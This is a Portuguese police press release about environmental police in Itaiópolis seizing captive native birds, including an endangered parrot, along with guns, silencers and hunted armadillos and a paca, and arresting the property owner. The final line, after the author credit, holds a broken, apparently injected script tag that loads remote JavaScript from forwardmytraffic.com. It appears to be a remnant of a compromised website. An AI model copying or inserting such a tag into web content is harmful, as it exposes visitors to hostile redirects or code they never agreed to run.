Na sexta-feira (27), guarnições da 3ª Companhia do 2º Batalhão de Polícia Militar Ambiental de Canoinhas, realizaram fiscalizações no interior do município de Itaiópolis, a fim de coibir a caça ilegal e outros crimes contra o meio ambiente.
Que em fiscalização na localidade Candido de Abreu, as guarnições avistaram em uma propriedade aves em cativeiro, chegando no local foram identificadas duas aves nativas, uma conhecida como Chupim e a outra como Papagaio de Peito Roxo que segundo a Portaria do Ministério do Meio Ambiente Nº 444/14, esta última se encontra na “Lista Nacional Oficial de Espécies da Fauna Ameaçadas de Extinção”. Ambas espécies mantidas em cativeiro sem autorização do órgão ambiental competente.
As guarnições continuaram buscas no interior da residência, sendo encontrado uma espingarda de pressão calibre 4.5 mm, uma espingarda calibre 28, uma garrucha calibre 32, uma garrucha calibre 36, uma rifle calibre 22, quatro munições calibre 28, uma munição calibre 36, uma munição calibre 50, todas deflagradas, e ainda mais uma munição calibre 22 intacta e também dois silenciadores. Que em outro cômodo da casa, em um freezer foi encontrado carnes diversas, e que entre elas haviam animais silvestres provenientes de caça, sendo três Tatus e uma Paca.
Diante dos fatos, em conversa com o proprietário do local que assumiu toda a responsabilidade pelos crimes ambientais, além das armas que estavam em sua residência, foi dado voz de prisão ao mesmo, e conduzido até a Central da Polícia Militar de Itaiópolis que posteriormente foi encaminhado até a Delegacia de Polícia Civil de Mafra.
As aves nativas e os animais silvestres abatidos foram apreendidos pela PM Ambiental e também lavrados documentos administrativos cabíveis pela infração de ter pássaros nativos em cativeiro e ter depósito de animal silvestre.
Segundo o Decreto nº 6.514, de 22 de julho de 2008, quem tem em cativeiro ou depósito de animais silvestres sem a devida permissão, licença ou autorização da autoridade ambiental competente ou em desacordo com a obtida, a multa é de R$ 500,00 por indivíduo e de R$ 5.000,00 se a espécie estiver na lista da fauna silvestre em perigo de extinção.
Atenção ⚠ Matar, caçar, apanhar, ter em cativeiro ou em depósito espécimes da fauna silvestre, nativos ou em rota migratória, sem a devida permissão, licença ou autorização da autoridade competente, é crime. Denuncie !
Micael Eduardo Bonfim – Comunicação Social 3ª CIA/2º BPMA… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>